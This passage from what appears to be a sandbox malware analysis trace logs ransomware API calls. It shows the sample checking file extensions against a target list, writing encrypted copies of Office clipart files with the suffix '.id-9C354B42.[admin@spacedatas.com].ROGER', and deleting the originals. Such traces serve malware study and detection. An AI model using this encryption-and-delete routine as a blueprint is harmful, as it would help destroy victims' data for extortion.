lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0059.932] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.932] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.932] SetEndOfFile (hFile=0x3fc) returned 1 [0059.932] CloseHandle (hObject=0x3fc) returned 1 [0059.933] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.933] SetEndOfFile (hFile=0x368) returned 1 [0059.933] CloseHandle (hObject=0x368) returned 1 [0059.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0059.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.934] lstrlenW (lpString=".doc") returned 4 [0059.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.934] lstrlenW (lpString=".docx") returned 5 [0059.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.934] lstrlenW (lpString=".pdf") returned 4 [0059.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.934] lstrlenW (lpString=".xls") returned 4 [0059.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.934] lstrlenW (lpString=".xlsx") returned 5 [0059.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.934] lstrlenW (lpString=".ppt") returned 4 [0059.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.934] lstrlenW (lpString=".zip") returned 4 [0059.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.934] lstrlenW (lpString=".rar") returned 4 [0059.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.934] lstrlenW (lpString=".bz2") returned 4 [0059.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.934] lstrlenW (lpString=".7z") returned 3 [0059.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".dbf") returned 4 [0059.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".1cd") returned 4 [0059.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".jpg") returned 4 [0059.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".doc") returned 4 [0059.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString=".docx") returned 5 [0059.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.935] lstrlenW (lpString=".pdf") returned 4 [0059.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString=".xls") returned 4 [0059.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.935] lstrlenW (lpString=".xlsx") returned 5 [0059.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.935] lstrlenW (lpString=".ppt") returned 4 [0059.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".zip") returned 4 [0059.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.935] lstrlenW (lpString=".rar") returned 4 [0059.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString=".bz2") returned 4 [0059.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString=".7z") returned 3 [0059.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.935] lstrlenW (lpString=".dbf") returned 4 [0059.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.936] lstrlenW (lpString=".1cd") returned 4 [0059.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0059.936] lstrlenW (lpString=".jpg") returned 4 [0059.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.936] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.936] lstrlenW (lpString="BD00141_.WMF") returned 12 [0059.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.936] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=26886) returned 1 [0059.936] CloseHandle (hObject=0x368) returned 1 [0059.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0059.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.936] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.936] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0059.937] GetLastError () returned 0x0 [0059.937] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x6906, lpOverlapped=0x0) returned 1 [0059.953] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0059.954] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.954] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.954] SetEndOfFile (hFile=0x3fc) returned 1 [0059.954] CloseHandle (hObject=0x3fc) returned 1 [0059.954] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.954] SetEndOfFile (hFile=0x368) returned 1 [0059.956] CloseHandle (hObject=0x368) returned 1 [0059.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0059.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".doc") returned 4 [0059.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString=".docx") returned 5 [0059.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.957] lstrlenW (lpString=".pdf") returned 4 [0059.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString=".xls") returned 4 [0059.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.957] lstrlenW (lpString=".xlsx") returned 5 [0059.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.957] lstrlenW (lpString=".ppt") returned 4 [0059.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".zip") returned 4 [0059.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.957] lstrlenW (lpString=".rar") returned 4 [0059.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString=".bz2") returned 4 [0059.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString=".7z") returned 3 [0059.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".dbf") returned 4 [0059.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".1cd") returned 4 [0059.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".jpg") returned 4 [0059.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.957] lstrlenW (lpString=".doc") returned 4 [0059.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString=".docx") returned 5 [0059.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.958] lstrlenW (lpString=".pdf") returned 4 [0059.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString=".xls") returned 4 [0059.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.958] lstrlenW (lpString=".xlsx") returned 5 [0059.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.958] lstrlenW (lpString=".ppt") returned 4 [0059.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.958] lstrlenW (lpString=".zip") returned 4 [0059.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.958] lstrlenW (lpString=".rar") returned 4 [0059.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString=".bz2") returned 4 [0059.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString=".7z") returned 3 [0059.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.958] lstrlenW (lpString=".dbf") returned 4 [0059.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.958] lstrlenW (lpString=".1cd") returned 4 [0059.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0059.959] lstrlenW (lpString=".jpg") returned 4 [0059.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.959] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.959] lstrlenW (lpString="BD00155_.WMF") returned 12 [0059.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.959] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=11636) returned 1 [0059.959] CloseHandle (hObject=0x368) returned 1 [0059.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0059.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0059.959] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.959] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0059.960] GetLastError () returned 0x0 [0059.960] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0059.987] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0059.988] ReadFile (in: hFile=0x368, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.988] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.988] SetEndOfFile (hFile=0x3fc) returned 1 [0059.989] CloseHandle (hObject=0x3fc) returned 1 [0059.989] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.989] SetEndOfFile (hFile=0x368) returned 1 [0059.990] CloseHandle (hObject=0x368) returned 1 [0059.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0060.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.102] lstrlenW (lpString=".doc") returned 4 [0060.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.102] lstrlenW (lpString=".docx") returned 5 [0060.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.103] lstrlenW (lpString=".pdf") returned 4 [0060.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString=".xls") returned 4 [0060.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.103] lstrlenW (lpString=".xlsx") returned 5 [0060.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.103] lstrlenW (lpString=".ppt") returned 4 [0060.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString=".zip") returned 4 [0060.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.103] lstrlenW (lpString=".rar") returned 4 [0060.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString=".bz2") returned 4 [0060.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString=".7z") returned 3 [0060.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString=".dbf") returned 4 [0060.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString=".1cd") returned 4 [0060.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString=".jpg") returned 4 [0060.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.103] lstrlenW (lpString=".doc") returned 4 [0060.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.103] lstrlenW (lpString=".docx") returned 5 [0060.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.104] lstrlenW (lpString=".pdf") returned 4 [0060.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString=".xls") returned 4 [0060.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.104] lstrlenW (lpString=".xlsx") returned 5 [0060.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.104] lstrlenW (lpString=".ppt") returned 4 [0060.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.104] lstrlenW (lpString=".zip") returned 4 [0060.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.104] lstrlenW (lpString=".rar") returned 4 [0060.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString=".bz2") returned 4 [0060.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString=".7z") returned 3 [0060.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.104] lstrlenW (lpString=".dbf") returned 4 [0060.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.104] lstrlenW (lpString=".1cd") returned 4 [0060.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0060.104] lstrlenW (lpString=".jpg") returned 4 [0060.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.104] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0060.104] lstrlenW (lpString="BD00173_.WMF") returned 12 [0060.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.003] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=16180) returned 1 [0061.004] CloseHandle (hObject=0x34c) returned 1 [0061.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0061.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.004] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.004] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.004] GetLastError () returned 0x0 [0061.004] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0061.006] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0061.007] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.007] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.008] SetEndOfFile (hFile=0x3a4) returned 1 [0061.008] CloseHandle 